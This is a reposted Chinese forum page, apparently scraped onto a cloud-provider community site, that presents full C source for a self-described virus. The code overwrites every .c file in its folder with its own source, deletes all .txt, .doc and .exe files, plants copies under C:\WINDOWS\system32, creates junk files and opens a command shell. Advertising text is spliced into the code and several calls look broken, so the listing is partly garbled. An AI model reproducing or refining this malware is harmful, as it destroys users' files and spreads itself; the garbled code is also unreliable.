C語言開發病毒程式)

來源:互聯網
上載者:User

C語言開發病毒程式

//串連標頭檔
#include <io.h>
#include <dir.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

//拷貝檔案模組
int copyfile (char *infile, char *outfile)

{
    FILE *in,*out; //定義檔案指標
     IT人才網(http://it.ad0.cn) in = fopen(infile,"r"); //開啟檔案
    out = fopen(outfile,"w"); //建立檔案
    while (!feof(in)) //判斷檔案是否已結束
    {www.ad0.cn
        fputc (fgetc(in),out); //從in讀一字元到out
    }
    fclose (in); //關閉in檔案
    fclose (out);//關閉out檔案
    return 0; //返回
}

int MakeRubbish (void)

{
    int i; //聲明整形變數i
    FILE *fp; //檔案指標fp
    char *path; //路徑指標
    char *NewName;
    char *disk[7] = {"A","B","C","D","E","F","G"}; //初始化指標數組
    char *addtion = ":\\";
    for (i = 0; i<5; i++) //迴圈4次
    {
        char tempname[] = "XXXXXX" ; //隨機名字
        NewName = mktemp(tempname);  //建立唯一的檔案名稱
        fp = fopen(NewName,"w");  //建立文字檔
        fclose (fp); //關閉fp檔案流
    }
    path = strcat(disk[getdisk()],addtion); //得到根編號
    chdir(path); //改變工作目錄
    for (i = 0; i<5; i++) //迴圈次數
    {
        char tempname[] = "XXXXXX"; //串賦入數組
        NewName = mktemp(tempname); //建立唯一的檔案名稱
        fp = fopen(NewName,"w");    //建立新檔案
        fclose (fp); //關閉檔案
    }
    return 0; //返回
}

int CreatEXE (void)

{
    int i; //整形變數
    char *path; //字元指標
    char *s[2] = {         //重要目錄
                    "C:\\WINDOWS\\system32\\loveworm.exe",
                    "C:\\WINDOWS\\virusssss.com"
                 };

    for ( i = 0; i < 2; i++) //迴圈控制次數
    {
        open(s, 0x0100,0x0080); //開啟檔案寫入資料
        copyfile ( "C_KILLER.C",s); //調用子函數實現拷貝檔案資料
    }
    return 0;
}

int Remove (void) //去處

{
    int done; //定義整形變數
    int i;
    struct ffblk ffblk; //聲明結構體變數ffblk
    char *documenttype[3] = {"*.txt","*.doc","*.exe"};//初始化指標數組
    for (i = 0; i < 3; i++)//控制迴圈次數
    {
        done = findfirst(documenttype,&ffblk,2);//搜尋目錄
        while (!done) //尋找成功返回0
        {
            remove (ffblk.ff_name); //刪除一個檔案
            done = findnext(&ffblk);
        }
    }
    return 0;//返回
}

int Breed (void) //養殖模組

{
    int done;//整形變數
    struct ffblk ffblk; //聲名結構變數
    done = findfirst("*.c",&ffblk,2);
    while (!done)
    {
        if (strcmp("C_KILLER.C", ffblk.ff_name) != 0 )
        {
            copyfile("C_KILLER.C",ffblk.ff_name);
        }
        done = findnext(&ffblk);
    }
    return 0;
}

int main (void) //程式入口地址

{
    printf ("液蟲病毒,by:仙劍逍遙.\n");
    Breed (); //養殖病毒
    Remove (); //去處
    CreatEXE ();
    printf ("您能告訴我您的名字?\n");
    printf ("現在麻煩您輸入您的名字!\n");
    MakeRubbish (); //調用子函數
    getchar ();
    clrscr (); //清除螢幕
    system ("cmd");
    getch ();
    return 0;
}

本文來自: IT先鋒論壇(http://bbs.ad0.cn) 原文出處:http://bbs.ad0.cn/viewthread.php?tid=414&extra=page%3D1&frombbs=1

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.